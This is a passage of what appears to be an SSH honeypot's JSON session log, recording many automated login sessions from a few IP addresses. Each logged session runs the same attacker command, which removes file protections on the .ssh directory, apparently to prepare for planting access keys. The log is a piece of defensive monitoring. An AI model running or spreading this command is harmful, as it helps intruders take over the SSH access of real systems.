lockr -ia .ssh", "started_at": "2026-08-27T06:46:51.982788+00:00", "ended_at": "2026-08-27T06:46:53.144929+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2072 }, { "id": "c80a064c-9494-40b3-abd5-4f340e56be99", "name": "orderly-rapid-chickadee", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 33954, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 323, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T06:44:42.100296+00:00", "ended_at": "2026-08-27T06:44:42.758496+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2104 }, { "id": "72dafc1e-5c2d-46a1-8017-878ce5120fd5", "name": "mellow-eager-adder", "protocol": "ssh", "channel_kind": "exec", "src_ip": "46.253.45.10", "src_port": 42658, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 325, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T06:40:44.085073+00:00", "ended_at": "2026-08-27T06:40:44.701749+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2095 }, { "id": "6ac60bea-1c54-4953-bff1-ffb36751b9ad", "name": "sterling-quiet-kakapo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 37062, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 314, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:53:51.433201+00:00", "ended_at": "2026-08-27T05:53:52.777417+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "695e8133-86b5-4fef-a0c2-5d44f10b84ad", "name": "arctic-jagged-zebu", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 58460, "username": "kkk", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 319, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:51:49.646369+00:00", "ended_at": "2026-08-27T05:51:50.787856+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2244 }, { "id": "15c8f7d1-9c5f-4336-a6bc-91df637f559c", "name": "civil-tawny-warbler", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 35266, "username": "xiaolin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 321, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:49:54.223925+00:00", "ended_at": "2026-08-27T05:49:56.159164+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2252 }, { "id": "e7767d99-2f3a-4355-b785-faacccfdda2b", "name": "quartz-primal-wren", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 55226, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 313, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:47:51.436453+00:00", "ended_at": "2026-08-27T05:47:53.469714+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "c86d61c7-b2bb-4e53-b47d-17a3df0cf06a", "name": "stoic-tawny-bullfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 58176, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 325, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:45:53.986321+00:00", "ended_at": "2026-08-27T05:45:55.304401+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2255 }, { "id": "58ff4cae-b44a-4118-8862-2327b3d79ae9", "name": "honest-vigilant-peccary", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 43386, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 323, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:43:53.133955+00:00", "ended_at": "2026-08-27T05:43:54.758512+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "f3ccc5e2-0539-4200-8222-3abf799f8e95", "name": "jolly-daring-dipper", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 58808, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 313, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:41:55.054504+00:00", "ended_at": "2026-08-27T05:41:57.305487+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "a41147b0-202e-43e5-9f3e-205428a8b2b4", "name": "lunar-sandy-condor", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 42688, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 326, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:39:55.667521+00:00", "ended_at": "2026-08-27T05:39:57.381533+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2300 }, { "id": "8c6bd2bf-d09d-425a-8a54-da7c84c6eb5e", "name": "wry-diligent-skink", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 60366, "username": "albert", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 320, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:37:49.360758+00:00", "ended_at": "2026-08-27T05:37:51.088097+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "8748a154-f78f-4b6f-a99e-fd7766247cef", "name": "civil-chilly-nuthatch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 57024, "username": "user1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 320, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:35:51.369794+00:00", "ended_at": "2026-08-27T05:35:53.046591+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "5051a227-a361-4f9d-87af-aec86904a535", "name": "gnarled-glassy-gerbil", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 38680, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 332, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:33:51.635172+00:00", "ended_at": "2026-08-27T05:33:53.597740+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2300 }, { "id": "73e31b22-0e57-47e8-8e1a-78697170d57e", "name": "jovial-sturdy-sloth", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 46184, "username": "f", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 323, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:31:55.971028+00:00", "ended_at": "2026-08-27T05:31:57.647501+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2240 }, { "id": "81381a86-19b8-4448-9172-d584b743fa7b", "name": "bronzed-russet-penguin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 37166, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 316, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:29:57.271815+00:00", "ended_at": "2026-08-27T05:29:58.450742+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "71c78d73-7759-4327-9c61-945c7b6a8aba", "name": "daring-dapper-falcon", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 34888, "username": "penis", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 322, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:28:01.495898+00:00", "ended_at": "2026-08-27T05:28:03.406546+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2252 }, { "id": "b0a180a8-18a9-40e2-a335-e1a032c0f286", "name": "seaward-candid-cassowary", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 53644, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 313, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:25:48.520057+00:00", "ended_at": "2026-08-27T05:25:50.639940+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "61a90769-d1d3-49b9-b13a-2b1f593dfb1a", "name": "cosmic-tidal-kea", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 51752, "username": "sanjay", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 309, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:23:37.119701+00:00", "ended_at": "2026-08-27T05:23:38.045053+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "e5574279-3724-4e92-ba39-eab1e8dc9035", "name": "valiant-tawny-tinamou", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 48054, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 322, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:21:36.906836+00:00", "ended_at": "2026-08-27T05:21:38.907844+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "f157b3ed-5a6b-47d8-a155-d1f9a5950881", "name": "knotted-umber-shelduck", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 51482, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 323, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:19:33.158493+00:00", "ended_at": "2026-08-27T05:19:34.654119+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "c1b85829-221e-438c-b29b-5130ef5bb391", "name": "brave-fabled-gull", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 37004, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 307, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:17:34.629781+00:00", "ended_at": "2026-08-27T05:17:36.277194+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "42c210ed-e913-4c0c-97db-e37a7652d4ca", "name": "marine-deft-hoopoe", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 36426, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 322, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:15:29.696246+00:00", "ended_at": "2026-08-27T05:15:31.302382+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "ebbba6e9-486d-4d7b-b56e-70f766572656", "name": "vigilant-gleaming-hamster", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 33530, "username": "debian", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 319, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:13:29.602717+00:00", "ended_at": "2026-08-27T05:13:31.749725+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2255 }, { "id": "54797db9-35cd-4ca4-9cb6-71d62cdaf86f", "name": "airy-tangled-shelduck", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 42096, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 332, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:11:33.479653+00:00", "ended_at": "2026-08-27T05:11:34.974885+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "a29c6c7a-0f36-4218-847d-a12fca09a8c8", "name": "sandy-gallant-bowerbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 41764, "username": "toto", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 308, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:09:39.125729+00:00", "ended_at": "2026-08-27T05:09:40.368070+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2255 }, { "id": "f2b037a4-f809-48ec-ab8c-f4dae8862aae", "name": "primal-earnest-nuthatch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 33842, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 326, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:07:34.182813+00:00", "ended_at": "2026-08-27T05:07:35.239789+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "56fcbcf7-9c64-43b9-aa4f-26d3d1c45612", "name": "dusky-vigilant-lemur", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 46860, "username": "pm", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 319, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:05:27.832813+00:00", "ended_at": "2026-08-27T05:05:29.140827+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2241 }, { "id": "1b65979d-eb18-4cb5-9cec-03cfe12605f9", "name": "gentle-autumn-parakeet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 49382, "username": "jesus", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 313, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T05:01:37.792100+00:00", "ended_at": "2026-08-27T05:01:39.262764+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "687312d7-5371-4627-b413-0afbdc9bee06", "name": "northern-solar-crane", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 37344, "username": "scraper", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 312, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:59:33.799633+00:00", "ended_at": "2026-08-27T04:59:35.939965+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2254 }, { "id": "78e0ea51-bf3d-4140-aef5-b3a337317951", "name": "bashful-flinty-teal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 54336, "username": "stack", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 318, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:57:35.146509+00:00", "ended_at": "2026-08-27T04:57:36.073516+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2252 }, { "id": "971a3b3e-d54d-467a-ac5b-7c6cfedfcf79", "name": "ivory-sturdy-bushbaby", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 52080, "username": "mehdi", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 321, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:55:40.603586+00:00", "ended_at": "2026-08-27T04:55:41.994966+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "0625676f-e8b6-45ee-8c12-575b162587e3", "name": "courtly-fringed-narwhal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 39868, "username": "ftpuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 335, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:53:40.033002+00:00", "ended_at": "2026-08-27T04:53:41.077618+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2255 }, { "id": "b7a65124-2460-4337-9d44-8de2fa829983", "name": "austere-brazen-goshawk", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 38690, "username": "alex", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 312, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:51:35.348477+00:00", "ended_at": "2026-08-27T04:51:37.531776+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2231 }, { "id": "6605346a-8a20-4279-a7a3-5fd74ee2e6f4", "name": "curious-ashen-merlin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 37838, "username": "sammy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 320, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:49:31.561384+00:00", "ended_at": "2026-08-27T04:49:32.739291+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2225 }, { "id": "99818851-7ea4-4d62-913b-65273d776767", "name": "barren-airy-dolphin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 42160, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 325, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:47:24.670832+00:00", "ended_at": "2026-08-27T04:47:26.373253+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "8d1d44ba-d548-40c2-9bff-c2694f2ca2bd", "name": "dapper-windswept-nuthatch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 43532, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 311, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:45:24.577959+00:00", "ended_at": "2026-08-27T04:45:25.818090+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "8712e8ca-65c1-4d9c-a9a6-0f37a32a77e2", "name": "sullen-lofty-kea", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 39404, "username": "abdullah", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 320, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:43:27.970027+00:00", "ended_at": "2026-08-27T04:43:29.456538+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2185 }, { "id": "ae3bef40-401d-4101-a77c-049085b2d196", "name": "emerald-shifting-agouti", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 48990, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 314, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:41:26.191133+00:00", "ended_at": "2026-08-27T04:41:27.762207+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2227 }, { "id": "2de09614-ad33-4341-acc9-e9c28fc203dc", "name": "autumn-courtly-vole", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 54804, "username": "gourav", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 314, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:39:25.454106+00:00", "ended_at": "2026-08-27T04:39:26.513841+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2163 }, { "id": "402eea8c-7073-41a2-912e-007c524242f6", "name": "orderly-thawing-addax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 56234, "username": "soporte", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 313, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:37:20.979229+00:00", "ended_at": "2026-08-27T04:37:22.242100+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2155 }, { "id": "81aba5a5-1868-45cf-ba64-b52f1dc6eb5f", "name": "umber-frank-fieldfare", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 56734, "username": "Test", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 315, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:35:18.529512+00:00", "ended_at": "2026-08-27T04:35:19.542165+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2137 }, { "id": "797f7ea9-5551-4773-934f-068e502d14c2", "name": "frugal-dusty-cormorant", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 48826, "username": "miner", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:33:19.591657+00:00", "ended_at": "2026-08-27T04:33:21.856561+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2131 }, { "id": "9e90a36e-8ad2-413c-9459-9fd848fb95bf", "name": "fearless-sleepy-bunting", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 53292, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 320, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:31:21.052647+00:00", "ended_at": "2026-08-27T04:31:23.085115+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2172 }, { "id": "339b0e76-ec1c-4cdd-80ff-9dafa1e94441", "name": "plucky-frosty-tinamou", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 60444, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 312, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:29:19.102327+00:00", "ended_at": "2026-08-27T04:29:20.501614+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2114 }, { "id": "90ab820f-1e5d-45ff-9df5-91cbf696428e", "name": "russet-painted-merlin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 42302, "username": "toor", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 318, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:27:20.981649+00:00", "ended_at": "2026-08-27T04:27:22.191785+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2091 }, { "id": "f481d93a-a18e-4bc4-9505-49c6d36c05ab", "name": "leafy-pleasant-macaw", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 58734, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 326, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:25:16.264465+00:00", "ended_at": "2026-08-27T04:25:17.694392+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2139 }, { "id": "3b82f935-58b4-461b-8637-633ea35adf0f", "name": "faded-frank-catbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 40502, "username": "gmodserver", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 325, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:23:23.131226+00:00", "ended_at": "2026-08-27T04:23:24.387253+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2077 }, { "id": "221d8468-d0a0-4f2d-8126-e9513be867c6", "name": "kindly-forlorn-hyrax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 59978, "username": "code", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 319, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:21:16.854318+00:00", "ended_at": "2026-08-27T04:21:17.950029+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2066 }, { "id": "a1bab6d0-ccb3-46ea-bc7e-612c4bdb60c7", "name": "somber-balmy-nuthatch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 33976, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 309, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:19:17.948751+00:00", "ended_at": "2026-08-27T04:19:18.567224+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2106 }, { "id": "d207bb49-94c5-406c-a2ea-1fe6e42bf6fd", "name": "idle-snowy-jackdaw", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.86.177", "src_port": 54904, "username": "ray", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 314, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T04:17:19.072824+00:00", "ended_at": "2026-08-27T04:17:19.676348+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2035 }, { "id": "57c97805-7534-4b14-b1d7-46f7c0a8c358", "name": "deft-plush-seal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 53642, "username": "ts", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 565, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T02:42:38.067078+00:00", "ended_at": "2026-08-27T02:42:39.177391+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2239 }, { "id": "7f5a4ba8-4925-4947-9c9d-397140e25ac5", "name": "steady-gilded-civet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 60868, "username": "zyx", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 556, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T02:39:29.692683+00:00", "ended_at": "2026-08-27T02:39:31.389472+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "e95adf91-7feb-45ba-9937-2e0111842b51", "name": "courtly-cosmic-tern", "protocol": "ssh", "channel_kind": "exec", 